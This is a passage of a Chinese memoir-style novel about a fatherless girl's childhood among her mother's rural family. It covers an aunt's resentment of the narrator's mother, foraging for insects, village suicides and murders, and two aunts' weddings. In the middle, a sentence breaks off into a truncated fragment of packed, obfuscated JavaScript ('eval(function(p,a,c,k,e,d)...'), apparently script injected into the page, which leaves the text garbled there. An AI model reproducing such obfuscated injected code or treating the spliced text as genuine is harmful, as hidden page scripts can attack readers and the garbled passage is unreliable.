小燕咳嗽了,晚上,大姨给她煮了猪尿泡,里头是原汁原味的猪尿。大姨把猪尿泡煮熟了,让小燕拿着吃。小燕抱着一个大大的猪尿泡,像是抱着一个大气球。她咬一口,有香香的猪肉味儿,也有骚骚的猪尿味儿。 我闻着她手里的猪尿味儿,有些想笑。 小燕拿着猪尿泡问我:“大姐,你笑什么的?这味儿怎么那么难闻的?怎么跟猪尿似的的?” “不是猪尿!”我姥娘跟我使个眼色说,“是恁妈妈给你找的药,治咳嗽的!吃吧!” “不是猪尿,是药啊?”小燕又问。 “是药!”我说,“不是猪尿!” 大姨忙活了一天,要来煮鸡吃了。大姨家的鸡鸭鱼肉都是人家送的,她根本顾不上吃,有的就烂了、臭了。大姨的鸡煮好了,她让孩子们吃,她自己也端着碗啃,边啃边跟我败坏我妈妈。 “恁妈妈这个人!也是的!我那时候打听到于潇不好,不让她跟他,她非要跟!到最后吃亏了吧,人家于潇听他娘的!拿着她根本不当人。于潇他娘一跟恁妈妈吵架,就跑到她闺女家里,于潇就一皮捶一皮捶儿地捅着恁妈妈的脊梁骨,让她去找!怪谁呢?最后离婚了吧?” 大姨用她的左边的嘴跟牙,狠狠地撕下来一块鸡肉,在右边嘴里嚼着说:“她不听我的,她要是早听我的的话,她根本就不会跟家军,她根本就不会守寡!” 大姨边啃鸡骨头,边跟我说我妈妈的坏话,也不给我吃一口儿。这更让我觉得还是我的妈妈好了。 我硬着头皮听着,时而替我妈妈辩解一两句:“俺爸爸寿限短,俺妈妈那时候也没想到。” 我大姨啃着鸡骨头厉声说:“她没想到,我给她算到了哎。她还是不听我的哎!” 我知道,话是最不能相信的,姑说姑有理,姨说姨有理,我知道,等我见了我妈,如实跟我妈妈说了,我妈妈自然又是一番说话。 我那时候还没想到,我大姨为什么边对着我啃鸡肉,边败坏我妈妈呢。我大姨为什么嘴里吃着鸡肉,心里还火气那么大?我现在知道了,她的意思是,我妈妈当初不听她的,我现在跟着我妈妈一起吃苦受罪,吃不上喝不上,那都是活该,都是我妈妈自找的。她不给我吃鸡肉,我也不要怪她。 呜呼!三十年以后,我终于明白我大姨的意思了! 原来她是这个意思啊! 换做是我,我自己吃鸡,不给我亲妹妹的孩子吃一口,我能做到吗?我做不到。换做是我妈妈,她又能做到吗?她也做不到。可是我大姨,她做到了! 她那天真的做到了,她没把她一锅的鸡给我吃一口啊。哇哈哈哈! 后来,我姥娘的腿被磨砸了,用夹板固定着躺在她的小床上,五姨六姨为了方便照顾她,把她的小床就放在堂屋一进门儿的地方。小床外面是一顶小小的长方形的红色布帐,让那张小床看上去像个棺材一样。唯一的不同也就是姥娘头靠正北,面南躺着。她穿着白色的带大襟的小褂,有五姨六姨照顾着,虽然卧床,但是并不邋遢。 我爷爷赶集的时候不知道听谁说的,我姥娘的腿被砸了,他其实跟我姥娘家这么多年也没有过联系。他居然突发奇想,要来看看我姥娘。我爷爷不知道拎了点什么点心,就扑到了我姥娘家里。 “你来了?兄弟?”我姥娘说。 “嫂子!我赶集的时候,听说你的腿被磨给砸了。我来看看你!”我爷爷说。 “多亏了大兄弟想着。让恁大哥买酒去。”我姥娘说。 我姥爷陪着我爷爷一起喝酒吃菜,我爷爷毫不意外地又喝高了,他又得意忘形地唱念了起来。他跑到我姥娘床头,按着她的腿。 “嫂子!我唱戏给你听!你是听《四郎探母》,还是《霸王别姬》!我都会唱!嫂子!”我爷爷按着我姥娘的断腿高声叫喊着。 我姥娘的腿被我爷爷这一按,愈发严重了。 “哎哟哎哟!”我姥娘坐在床上疼地直叫! 我五姨六姨赶紧来救驾勤王,“大爷大爷”地把我爷爷喊开。我爷爷醉不拉几地这才离去。 “我走了,省儿。你再搁恁姥娘这里过几天?”我爷爷跟我说。 “嗯。过几天,俺妈妈来装‘神水’,我跟她一块回去。”我说。 我妈妈来我姥姥家了,她也听说了西水沟的”神水”,也来装“神水”了。 头天,刚下了一场大雨,第二天,地上还是瓢泼一样。 我五姨跟我妈妈说:“三姐,咱去山上拾山水牛去吧?家来炒了吃。刚下完雨,山水牛多。我记得你以前在娘家的时候,下了雨,咱去拾山水牛,山水牛肚子里都是籽儿。搁锅里一炒,黄黄的,里头都是油儿!” 我妈妈说: “行!咱一块儿去!” 我妈妈回头跟屋里我姥娘说:“娘,我跟五妹妹去拾山水牛去了哈!” 说完,她又朝着我们说:“恁小孩儿都在家等着哈!” 我问她:“妈,恁去哪拾山水牛的?我也想去。” 我妈妈说:“去山上。山水牛,山水牛。不到山上到哪拾啊。山上路可难走了。刚下完雨,都是泥。我跟恁五姨去都得撸起裤腿子,光着脚丫子。恁小孩儿别去了,就搁家里,跟着恁姥娘。” 我们都听话地答应着。 没过多久,我妈妈跟我五姨拾了山水牛回来了。那些山水牛像龙虾一样,搁在盆子里。黝黑锃亮,一个个顶着透明的脑袋和长长的触须。 我说:“这些山水牛长得那么像天牛的?” 我妈妈说:“山水牛是山水牛,天牛是天牛。山水牛能吃,天牛不能吃。山水牛炒出来可香了。”我不信,山水牛顶多也就是没有毒。我是不相信这披甲带壳的玩意儿炒出来能有多香。 我妈妈跟我五姨很快就把那盆活生生乱爬的山水牛变成了熟的山水牛。 “恁小孩儿快过来吃吧!”我妈妈喊着。我弟弟跟我妹妹就老老实实地簇拥过去,坐在小板凳上,对着水缸上的一个盖亭子,和盖亭子上的一盆子山水牛,拿起了筷子。 他们吃的动吗?他们板板正正地坐在那里吃饭了,他们表演地跟真的一样。 “呐,小宝。给你筷子。这是我的筷子,我的筷子我刻了个记号。”我五姨说。我还徘徊在我弟弟妹妹他们的圈子之外。我对那些甲壳虫似的山水牛根本不感兴趣。 “爹!你来吃山水牛吧?”我妈妈招呼我姥爷说。 “我不吃!我吃我买的咸鱼!”我姥爷说。他在西屋门口儿对着一张小桌子坐了下来。 我跟着走过去,看了看姥爷碗里的咸鱼。 “小宝吃咸鱼吧?”我姥爷说。 “嗯。”我说,“俺爷爷也买的这种咸鱼。” 我看了看我姥爷碟子里头的那些咸鱼,根本没有我爷爷买的咸鱼好看,也没我爷爷煎地香。我知道我姥爷是太穷了,我姥爷的吃喝比我爷爷还要穷。 天井里。我弟弟跟我妹妹还坐在那里吃饭。 “来!笑笑!吃蛾儿!妈给个蛾儿吃!”我妈妈说。 我心头一动,心里想,我妈妈搁哪弄的鹅呢?是不是我真的有了吃福,我妈妈跟我五姨从哪里弄了只大鹅来给我们吃? 我朝我妈妈一看。我妈妈的筷子上夹了一个树叶似的黑黑的瘪了的蘑菇,我的期盼的心立刻静如止水了。我知道,我妈妈跟干了的蘑菇叫“蛾”。那“蛾”也是我妈妈在山上拾山水牛的时候在树上捡的。我看着我妈妈夹着那个“蛾”往我妹妹的嘴里送过去,我也无所谓,反正,我对那“蛾”也不感兴趣。 我们跟着妈妈回家了,大街上是金黄的麦瓤,还有拿着铁叉挑麦瓤的男人。 妈妈笑眯眯地指着路边一个挑麦瓤的男人,跟我说:“这是恁大舅!” “大舅!”我赶紧叫对方。 “大哥!”我妈妈也高兴地喊。 “哎!三妹妹回去了!”那个大舅说。 “俺回去了,大哥。小孩儿快开学了!”我妈妈灿烂地笑着说。妈妈娘家的大哥,是她小时候的亲人,再次相见,当然异常亲切,我知道妈妈回到娘家的心情,这儿是她最熟识的地方,这儿全是她打小最熟识的人啊。 我们往前走着,前头,一个跟我差不多大的小女孩儿,蹲在地上玩儿。 我妈妈跟我说:“这是海英!” 我妈妈冲着蹲在地上的小女孩儿说:“海英,你搁这儿玩的吗?” 海英已经十来岁了,跟我差不多大。她不怎么认识我妈妈,她慢慢地转过头,淡淡地看了一眼我妈妈。 “海英的妈妈是丁纪兰,跟我好地跟姊妹俩儿样。丁纪兰后来出了门子,跟了万才理,万才理不务正业,跟纪兰闹架,纪兰喝药死了。可怜海英那时候才两三岁。万才理对海英不管不问,他出去喝酒,就把海英用绳子绑上,栓在床腿上,锁在家里。海英的大爷不忍心,就去把海英打窗户里头给抱出来。后来,万才理喝醉了酒,跑到水汪里,淹死了,海英就跟着她大爷,跟她奶奶住在一块儿。” 我问我妈妈:“海英现在还跟着她大爷吗?” 我妈妈说:“海英的大爷死了。” “娘啊?他怎么死的?”我说。 “被他的叔伯兄弟给杀死的。”我妈妈说,“可怜吧!海英没有大爷喽!只能跟着她奶奶喽。” 纪兰,海英。海英,纪兰。我们都是少而失祜之人,这么多年,三年五载的逃荒,十年八载的饥荒,接二连三的栖遑。一个在荆堂,一个在坊口。纪兰姨不知道我,她不知被埋在何处,早已化为黄土。海英不知道我,她没有妈妈可为她提及。只是,纪兰,海英,早在我心里,成了我坎坷命运里的又一道伤,孤寒心里的又一点凉。 “纪兰也是一时想不开。她不该死的。”我妈妈说,“过不下去,你跟他离婚哎。你死干什么的。死了小孩儿可怜吧。跟我样,我要是想不开死了,恁姊妹几个谁问啊?” 我妈妈说:“以前,坊口有个寡妇,带着一个闺女,娘俩儿缺吃少喝,挨打受骂的,可可怜了。后来,有人给那个寡妇介绍了一个有钱的男人,她想把她闺女带上一块儿走的。她闺女觉得随娘改嫁丢人,宁死也不跟她走。她闺女搁前头跑,她就拿着石头瓦块搁后头追,边追边哭,丫头啊,你跟恁娘走啊,你走了还有条活路儿,你不走,不是饿死,就是被人家打死啊!丫头啊,你跟娘走啊!丢人现眼是我的啊!” “她闺女后来跟她娘走了吗?”我问我妈妈。 我妈妈说:“后来,她闺女还是跟娘走了。等寡妇带闺女再回娘家来的时候,穿衣打扮都是好的。寡妇穿着蓝缎面的袄,端着长烟袋,笑眯眯地跟人家说话,她闺女也打扮地板板正正的。共产党的社会,妇女改嫁又不丢人。《李二嫂改嫁》说的不就是这事儿吗。” 《李二嫂改嫁》说的是守寡的李二嫂和六兄弟情投意合的故事。妈妈教我的歌词,我都记得清清楚楚: “李二嫂拉碌碡,阵阵心酸。满肚子苦水儿,能对谁言。娘家穷无有奈何,将俺来卖。十二岁到婆家,挨打受骂。 前方上打胜仗,连连不断。好消息呀,真叫我,记在心间。盼只盼把蒋匪消灭干净,六兄弟,你立大功,早把个家来还。 看只看秋风起,天气要变。做一件新夹袄,等他来穿。” 一天,我妈妈背着粪箕子,带着我们三个去南大地里拾柴禾。那时候是秋天了,地里,到处是刚翻过的黄土,和一同被翻出来的秫秸根子。那些秫秸早就枯死了,这会儿,它连一丝略微能让人想到它还活过的枯黄都没有了,一段段发霉发白的根子像是一段段枯骨一样露在那些黄土地上。 杜村的一个大娘看见了我妈妈,笑眯眯地跟我妈妈说话:“拾柴禾的啊?大妹妹?” “拾柴禾的,大嫂子!你去干什么的?”我妈妈笑嘻嘻地问她说。 “我来望望,我点的那块豆子出了嘛。大闺女也跟来啦?你看恁大闺女长得多好!肥头大脸的,脸跟银盆样!”大娘夸我说。 “多亏大嫂子夸啦!恁儿长得也好!”我妈妈笑着说,“这是恁大娘!坊口姓周的闺女!” “来!大娘看看大闺女!”大娘说着蹲下身儿,把我揽在怀里:“你看看,大闺女长得多好,跟人家长得一模一样!走!到俺家玩玩去!” “那行吧。咱去恁大娘家玩玩去。”我们跟着我妈妈走着杜村那条布满青石的小路,一路向西,到了大娘家里。 我们靠着大娘东边的门框坐着,我妈妈怀抱着我的小妹妹。 大娘说:“我去给小孩儿卷煎饼去。” 我妈妈说:“你不要累手,大嫂子。” “小孩儿嘛,总共来一回。”大娘说着,从里间卷了煎饼出来了,“家里没炒菜,我给小孩儿卷的白糖。吃吧!”大娘家正北靠墙的条几上放着一玻璃罐子白糖,那罐子本来是装山楂罐头的。 “你看看,恁家就那点白糖,都给俺小孩儿卷了,恁还吃什么了?留着恁自己喝喝。”我妈妈说。 “没事儿。恁大哥专门儿买给我喝的。恁大哥平时也不喝。就我喝。吃吧!乖孩儿!”大娘笑着说。 我拿着大娘递过来的那卷煎饼吃着。一开始还好吃,甜甜的,可是越吃越吃不下去了。因为,煎饼里头卷的白糖,实在是太甜了。大娘堂屋里条几下头的桌子上,就放着一碗黑咸菜,我真想跟大娘说,我想卷咸菜吃,可是我不好意思说。我就忍着,继续去吃那个卷了白糖的煎饼。我几次想开口,可是实在不好意思开口。我越是看着那碗咸菜,越是觉得手里的白糖煎饼难以下咽,可是既然是大娘卷给我的,我又得把它给吃完。我就慢慢地吃着手里甜地发腻的煎饼,直到把它吃完,才算完成了任务。 我妈妈带着我们离开了大娘家,走在路上的时候。我跟我妈妈说:“妈,我刚才吃大娘卷的白糖煎饼都吃够了。我想吃她桌子上的咸菜的,我没敢说。” 我妈妈说:“你怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五姨看家看的是萝村的男人。我们到了他家,他家连大门儿都没有,只有一座不太高大的新房和青石磊就的院墙。磊院墙的青石一个个跟拳手那么大,稀稀拉拉,零零碎碎的,敷敷衍衍地就磊上了,像是老一辈的院墙一样,仿佛一推就给推倒了。凭我的判断,萝村的这个男人家并不富裕,甚至还有些饥荒。他的父母已经六七十岁了,看起来不善言谈,都笑嘻嘻的,穿着黑色的棉袄棉裤,在大门口儿转悠着。他家屋里有很多叫来帮忙的女人,笑语欢腾地忙着张罗着。 那个男人来跟我五姨打招呼,他打扮的还算仪表堂堂,白色的衬衫,塞进深色的裤腰里,腰里缠着皮带。他一本正经地看着我五姨,从他的脸上我没有看出来任何欢喜。我五姨害羞地低着头。我看了他一眼,他长得还算端正,长着萝村人特有的青铜色的脸,和凹凸有致的五官,大眼睛,深眼窝,高鼻梁。那些女人招呼我们在屋里吃饭。她们都是来帮忙的,当然对我们都是客客气气,帮着男方说好话。 “新房屋盖的可不赖,借了好几家的债!”一个女人喜气洋洋地说。我五姨低着头,不说话。 吃完了饭,我五姨把我送回家。 “有个女的,想给他家使坏的,三姐。她说他家盖屋欠了好几家子的钱。她是不想让我跟他的。俺不管,俺就跟着他。穷点儿怕什么的,俺以后自己好好过就行了。”我五姨说。 “这个吧,你自己的终身大事,你自己做主。谁也当不了你的家。咱姊妹几个都是这样,都不图人家的钱。可是,以后你跟着他吃苦过穷日子,你可不要后悔。”我妈妈说。 “俺不后悔!”我五姨说。 后来五姨又来了我家。她给我家买了一块猪肉。我妈妈在锅里煮了。 准备吃的时候,我妈妈突然说:“我怎么觉得这猪肉不熟的?我煮了恁么长时间,该熟了哎。可别是‘米猪肉’吧?” 我五姨也说:“这阵子闹猪瘟,人家都说‘米猪肉’‘米猪肉’的。真要是‘米猪肉’,还真不能吃来。别吃了回肚子里生虫儿。” 我妈妈说:“那咱别吃了吧?倒了吧。要是吃了‘米猪肉’怎么办了。” 我五姨也说:“行!那你倒了吧,三姐!” 我妈妈说:“我把猪肉倒了,再把锅好好刷刷。” 天晚了,我问我妈妈说:“妈,俺五姨搁咱家住下吗?” 我妈妈说:“恁五姨不住咱家,她去她对象家。一会儿,咱去送送恁五姨去。” 我说:“行!” 我跟我妈妈一块儿,把五姨送到河沿,她过了河沿,就自己走了。 “你带着小宝回去吧,三姐!”我五姨说。 “行,你自己走吧!”我妈妈说。 “前头还有一段路呢,俺五姨不害怕吗?”我问我妈妈。 “没事儿!”我妈妈说。 “俺五姨到那个男的家跟谁住一块儿?”我问我妈妈,“跟她老婆婆吗?她老婆婆都是老嫲嫲了。” “她跟她男的住一块儿。”我妈妈说。 “娘啊!肯定是那个男的骗俺五姨的。我一看就知道他不是个好东西。”我说。 “哪事儿哎。恁五姨走老婆婆的时候,人家让她自己住一屋的,那个男的跟他兄弟住一屋。到了夜里,恁五姨说她害怕,就让那个男的去跟她作伴。青年男女一到一块儿,就成了夫妻了。”我妈妈说,“恁五姨也是的,也不怕人家笑话,每回她去走老婆婆家,人家那个男人的兄弟都借故不在家里住,给他俩儿腾空儿。” 后来,我五姨跟那个男人的亲事散了。我五姨又来我家了。 “三姐,你说,我就跟做梦样。我梦见我穿着神仙似的衣裳,在天上飞起来了。天上还有一群大闺女,都跟我一样,在天上飞着。我朝她们喊着,姐妹们!我来了!”我五姨笑着跟我妈妈说。 “你是那阵子光猜省这事儿,想他想地得了痰迷了。”我妈妈说。 “我那阵子又黑又瘦的,饭都吃不下去,天天光想哭。咱娘劝我,都没有用。现在好了,想开了。谁离了谁不能过啊。”我五姨说。 “就是的。家军死了,我还不是照样儿过啊。我还有三个孩子呢。你这算什么啊。”我妈妈说。 “人家又给我介绍了,三姐。”我五姨说,“是陈桥的,叫振强。振强老实,对我也好,什么都听我的。” “陈桥的地土儿不比萝村好多了?幸亏你没跟萝村那个!”我妈妈说,“你那时候还痴心一片,要跟他一块儿吃苦来。” “他看不上我,嫌我个子矮。”我五姨笑着说,“我这回就非要找个高的!振强可高了!回等我结婚,我来接小宝。让小宝跟小霞一块儿去送我。” 大闺女要出嫁了,新娘红着脸,低着头,流着眼泪,坐在床上更衣。五姨出嫁那天穿了标志性的大红棉袄,那是一件买来的成品新娘装,胸前有一束小红花,金线绣着“新娘”两个字。闺女出嫁,不管是五冬六夏,都要穿大红棉袄,也不管穿上了那棉袄好看还是不好看。反正那天,她穿上了那大红的棉袄,她就是主角。 其实,那大红的棉袄也并不能使人增色。该好看的还是好看,该难看的还是难看。甚至于,有的好看的穿了那棉袄,反而显得难看,那不好看的穿了那棉袄,反而显得更加地不好看。只是,那天,那特殊的几天,她穿了那红棉袄,便让她从形式上获得了一个新娘子的身份和名号,这也便使得她无论是好看还是不好看,看起来也都有些好看。毕竟,那个时候,她同她身上那件新的大红棉袄一样,都还很新展,都还很新鲜。这样的新展和新鲜使她看起来仿佛是与众不同一般。此时,她跟她的丈夫,还是信誓旦旦地要相永好不言别。 其实,等过了那些新鲜劲儿,等那件大红棉袄也不再新展了,等她跟那些庸俗的小媳妇老娘们儿一样,穿着不那么艳俗的衣裳,她的丈夫也许就会觉得她无趣,觉得她跟别人相比,其实也没什么两样儿,甚至,她跟别人相比,还差着点儿什么样儿。甚至于,她自己也觉得,这生活甚是无趣,每天都是一样,没什么多大的差异。于是要精心打扮,要巧梳妆,好使原本无差异的生活换个样儿。但是皮肉还是那个皮肉,性情还是那个性情,脸蛋儿还是那个脸蛋儿,尽管费尽心机变换着花样儿,终究是换不到天上去,终究是换不了什么两样儿出来。于是生活变得无味了。于是这男的,或是这女的,或是这男的和这女的一起,各自生出了一些鬼心肠和馊主意。 且不说这些吧,今天是我五姨结婚,我说这些干什么。我说的可不是我五姨,我五姨可是踏踏实实地跟了我五姨夫一辈子。我说的是这庸俗的婚姻关系。 吉时到了。该发嫁了。五姨脚上穿的一双带鞋袢儿的圆脸子绿鞋,是她自己做的。那时候,闺女出嫁,都要自己给自己做一双绿色的新鞋。一是出嫁必穿新鞋,二是显显自己的针线女工。她娘早就给她准备好了一双她爹的旧布鞋,给新娘子撒拉在脚上。老俗语说,新娘子出嫁,脚上是不能沾娘家的土的。否则,娘家会生穷。原来,闺女出了嫁就是外人了,是只发婆家,不发娘家的。要是再给她带走了娘家的土,那岂不是大亏而特亏了。 送嫁的兄弟哥来了,搬来了一张大椅子,新娘子坐在那张椅子上,头上蒙上了蒙头红子,娘家的兄弟哥,把她连同椅子,整棵地给往外搬出去。新娘子坐在椅子上哇哇地哭着。那个时候,我对新娘子哭嫁是不感到同情的。我知道,闺女出嫁这天的眼泪,是留给娘家的金豆子,她哭地越厉害,她的娘家以后就会过得越阔。 但是新娘子的娘会哭的,她会想她的丫头,等这丫头走了以后,她就孤单了,就没有人可以给她使唤了。我五姨跟我六姨都会裁缝,都是我姥娘特意培养的。我姥娘说,三闺女大了,要出嫁了,不要学,学了,也是把活计带走了。五闺女、六闺女是可以学的,因为她们那时候还小,学了裁缝,留在娘家,还可以多使唤几年。这是我姥娘的精打细算。可是闺女大了不中留,我五姨毕竟还是得走。我妈妈也哭地眼睛红红的。她的眼泪掉地很纯粹,她是哭她同甘共苦一块儿长大的妹妹。 我那时候还不知道,这样的哭嫁,是娘家给她的形式上的离别,是娘家和婆家一起联手,给她的离开举行了一个隆重的仪式。这个仪式一结束,等她跨出了娘家的门槛儿,娘家的这扇大门,可能再也不会随便对她敞开了。有些娘家是可以的,但是大多数娘家,尤其是有兄弟哥嫂弟媳妇的娘家,自打闺女出嫁这一天起,娘家的门槛,可能就不是她一个外人,想来就来,想走就走的。除非她有通天的本事,她每次来都携带丰厚的礼物。否则,她如果常来常往,那是会遭嫌弃的。 出门子,出门子。出门子这天,也是给大闺女的爹娘,举行了一个,跟自己的闺女彻底分割的仪式。自这一天以后,她的娘和爹,可能也不会像以前那样,看着自家的闺女只是自家的闺女了。出了门子的闺女,就是人家的人了。闺女外向,死了外葬。不仅如此,连闺女生的孩子都是外孙子。外孙子是人家的人。跟自己都不是一个姓。自家的孙子才是自家的人。这以后,如果闺女有什么救苦救难的需求,爹和娘也是不会毫不犹豫地奔赴过去的。他们得考量这其中的成本。他们得为他们自家的儿子,留出来足够的时间和金钱的储备。如果为了闺女,会影响儿子的利益,让儿媳不喜,那么爹和娘是明知闺女有苦,也不敢偏向闺女行的。他们跟他们的出了门子的闺女,不再是一个家,不再是一个团队了。他们对闺女的付出是白搭的,是不像对儿子的付出那样,再怎么付出都是应该的,都是值得的。儿子是自家人嘛。 即使他们的闺女在婆家吃了苦头,无路可走,背着孩子想要投奔娘家,她的爹娘也会再三考量。即使让她暂时寄人篱下,住在某个过道上的偏房,或是场院屋里的一间茅草房,要是她不能东山再起,想要在娘家一直赖下去,那也是不太可能的。她的爹会跟她吵架,她的娘会跟她拌嘴,她的兄弟、哥嫂,更是会跟她吵架。他们迟早会把她,连同她的孩子一起,扫出娘家的门儿。至于她跟她的孩子以后的生活如何如何,那是别人家的事。与她的父母兄弟可没多大的关系。 当然,我说的这些仅限于那些会这样做的爹娘,拿着闺女比儿子还要疼的爹娘,自然是另当别论的。我说的也是那些因为命苦,一时走投无路的闺女。那些命好,或是能里里外外呼风唤雨有钱能使鬼推磨的妇女,她们回娘家的时候,自然是极受父母兄弟,乃至嫂嫂弟媳的欢迎的。她们的无限风光自然也是另当别论的。 临走的时候,姥娘递给五姨一张绿纸条子,上面用毛笔写着“青龙”二字,让五姨记得在路上扔掉。我和小霞姐跟五姨一起坐在板车上,两个大舅推着我们。不想五姨路上忘记把那个“青龙”扔了,等到了婆家,她才想起来,就让我们去给她扔到河沿里。 开席了,我们跟五姨坐在一桌,新郎来敬酒的时候,也到了我们这桌上。我们都站起来,只有我五姨低着头不站。 新郎看着我五姨说:“你不让我给你敬酒吗?”我五姨低着头不说话。 “恁五姨跟恁五姨夫还没结婚就住一块儿了。恁五姨走老婆婆,她婆婆安排她跟她小姑子住一块儿的。夜里,她对象去找她,她小姑子就装睡。恁五姨以后跟她小姑子吵架,人家肯定要挖苦她。”我妈妈说。 五姨结婚以后很快就有了一个小妹妹,她也有跟婆婆小姑争吵的时候,五姨夫是个老实人,很向着她,她们夫妻关系倒是好的。 后来萝村出了一桩怪事儿,是五姨之前的那家婆家。那个男人的妹妹跟人家跑了,肚子大了,娘家父母觉得活丢丑,就一根绳子,双双吊死了。我亲眼见过的一对儿老人家,就这样一夜之间双双归西了。这事儿一时在四外庄上成了新闻。那个男人也还没找到对象。我五姨到我家说起他,也是跟我妈有说有笑,早就不在乎了。 我六姨不久以后也说了婆家。六姨夫长得比五姨夫洋气,家境也比六姨夫好一点。他来送节礼的时候,站在我姥娘的天井里,有一搭没一搭地跟我姥娘说话。我六姨还是若无其事地坐在屋里的缝纫机前,蹬着缝纫机做衣裳,并不出去跟他搭话儿。我不认识六姨夫,就在屋里看着我六姨。六姨夫手插在裤兜里,笑嘻嘻地到屋里来跟六姨说话。六姨自顾自地做着手里的针线,头也不抬,不卑不亢地跟他说话。六姨长相和脾气都有些像我爸爸,斯斯文文的。 六姨夫家里来了一辆卡车来接亲。小霞姐姐全程都像亲姐姐一样照顾我。她比我大不了几岁,可是她特别温和,特别有耐心。她的性格可能像我二姨夫,安安静静,斯斯文文。我二姨也没有什么脾气。我二姨那时候顶多四十,可是黄着小脸儿,眯缝着小眼儿,说起话来声音嘶哑,咿咿呀呀。 我跟小霞姐送我六姨出嫁以后,六姨夫那边来接亲的大卡车送我们回到姥姥家,我们都要各回各家,赶紧上学去了。 经过西水沟二姨家的时候,小霞姐跳下车来,彬彬有礼地跟我挥手道别:“妹妹,再见!” 我跟她说:“小霞姐,再见!” 小霞姐穿着一件紫色的有点像呢子的褂子,长长地直垂到她的膝盖上,那是六姨给她的,我见六姨穿过。幸好小霞姐个子又瘦又高,否则就显得更不合身了。我们这样彬彬有礼地道别,像极了电视上书香门第人家的有教养的孩子。可是,谁知道,我们的背后,是各自正在经受的贫穷不堪的家庭呢。 我回到姥姥家,已经是傍晚了。姥姥家正在招待客人吃饭。二姨夫也在旁边桌子边儿上蹲着吃饭。他还是像以前那样,褂子上拦腰扎根绳子,说话声音低低的,一副很窝囊的样子。 我妈妈在另一个桌上,跟几个女眷一起吃饭。我看了看那些菜,没看出来什么具体的内容来,只记得一盘盘的,比平时多了些油盐酱醋。桌子上摆着馒头,比别人家办喜事蒸的馒头要小一些,暗一些。 我记起了我妈妈的话:“恁姥娘家做事小家子气!” 坐在我妈妈身后那张桌子上吃饭的,是一个三四十来岁的男人。那是我六姨学裁缝的老师,他长着大大的脑袋,白白的圆脸,大大的圆圆的眼睛,穿着一身灰白色的干净的西装,在满院子吃饭的人群里,显得鹤立鸡群。他的样子很干净,很文气,像是一个老师,又像是一个吃国库粮的家庭里出来的很洋气又很好玩的小男孩儿。满桌子吃饭的男人,也不认识他,他也不跟人家说话。我妈妈光顾着吃饭,根本没注意到他。 我注意到我六姨的老师边慢吞吞地啃着馒头,边睁着他圆滚滚的大眼睛看着我妈妈。他的眼睛很好玩,像是有些青光眼,又像是眼眶里塞了一颗圆滚滚的玻璃弹珠似的,一点儿也不油腻不奸猾。 我妈妈根本不知道有人在看她,她是一个非常大气的女人,她的身上收敛了一切女人的秉性,沉稳地像个男人。她那天穿着一件玉白色的褂子,一条灰白色的裤子,撅着腚,目不斜视,坚定地大口大口地吃着她的饭。我妈妈那年还不到四十,打扮起来还是很干净利落,又有些洋气的样子。不知道的,还以为她是吃国库粮的呢。六姨的老师可能从我六姨那里,知道了我爸爸去世的事,他对我妈妈应该有很多的同情吧。 等客人们吃完了下午饭,都该回家了。我六姨的老师居然友好地提出来,要骑着摩托车把我妈妈她们给送回去。 这正好合了我的意! “恁娘几个跟我一块儿走,我给你带着小孩儿。”他跟我妈妈说。他说话时的样子像是一个诚恳的小男孩儿,憨憨的,闷闷地,既不热情洋溢,也不客气殷勤,一点都不显山露水。 我妈妈说:“俺自己走回去就行了!不麻烦老师了。老师来一趟不易,赶紧回家吧。老师的家远!” “没事儿!我骑摩托车。恁娘几个走回去得走多长时间啊。小孩恁么小。”六姨的老师说。 我看六姨的老师很是面善,也想跟他一起走,虽然这对他来说的确有些麻烦。 “一块儿走!一块走吧!可别真的把老师给推掉了!”我在心里跟我妈妈说。 我妈妈见推辞不掉,只好接受老师的好意。 “那行吧。谢谢老师了。俺娘几个怎么坐啊?恁带地了吗?”我妈妈问老师。 “你抱着孩子先坐上去。”老师说。 我妈妈就让我弟弟、妹妹依次坐上车,她自己最后坐上去。我当时十来岁了,自己骑着自行车,大人不用管我。六姨她老师的摩托车开起来了,他带着我妈妈和我弟弟妹妹走在前头。我在后头骑着自行车跟着。 我的心里暖暖的。我仿佛是个有爸爸的人了。 一路上都是公路,等到了荆堂前头那段黄土小路的时候。两边都是人家的大棚,地上全是车辙沟。摩托车负载太多,在车辙沟里七路拐弯地,有些打滑了。我妈妈很是担心,几次要带着孩子下来。 “俺娘几个下来吧?老师?恁回去吧!”我妈妈说。 我在后头看着,也跟着有些担心。我怕那个老师的摩托车会打滑,我更怕他真地坚持不住,要按照我妈妈的要求,把我妈妈跟我弟弟妹妹放下。那他就得早早地回去了。我想让他多送送我们,我想让他到我家。 我妈妈护着我弟弟妹妹,六姨的老师把控着摩托车艰难地行进着。好在,他终于走过了那段难走的小路,到了我家。 我妈妈搬了板凳,放在天井里,让老师坐下歇歇。老师坐下来,抽着烟,慢吞吞地跟我妈妈说了几句话。 “恁丈夫哪年去世的?”老师问。 “前年去世的,老师。”我妈妈说。 “他属什么的?”老师问。 “属狗的。俺俩一般大。”我妈妈说。 “哦,我属猴的。比你大两岁。”老师说。 “俺听俺六妹妹说,恁家大闺女跟俺家大丫头差不多大。叫露露。长得可好了。”我妈妈说。 “是的,她今年上五年级了。”六姨的老师看着我说。 六姨的老师坐着跟我妈妈说话,他的脸上面无表情的,像个圆圆的肥肥的大熊猫,又像个傻傻的憨憨的小男孩儿。我看着眼前这个男人。我想,露露很有福气,有这么好的爸爸。不像我,我原来也有爸爸,可是他现在已经不在了。我妈妈也没有那么好的福气,没有一个好男人和她一起来守护我们,来守护这个家。 六姨的老师坐了一会儿,就回家了。我有些不舍,但是那毕竟是别人的爸爸。他虽然在我家院子里就坐了一会儿,那美好的时刻,我可是记了一辈子呢。 “恁六姨的老师给我五十块钱。”我妈妈说,“我回头得跟恁六姨说说。人家老师是看恁六姨的面子,人家跟咱有什么。恁六姨的老师对恁六姨好。六姨的师娘对恁六姨也好。恁六姨的老师不在家,师娘就让六姨跟她一块儿,打着灯笼,带着剁好的猪肉馅子,送到她娘家去,给她自己的娘吃。师娘让恁六姨不要跟她老师说,恁六姨就不对她老师说。” 这以后,我再没见过六姨的老师,也再没见过小霞姐。我偶尔去姥姥家,都是从别人的嘴里听到小霞姐的名字。 12. 荆堂的女儿:精卫大姐、王三姐和二裙姑 1.天英、天缨 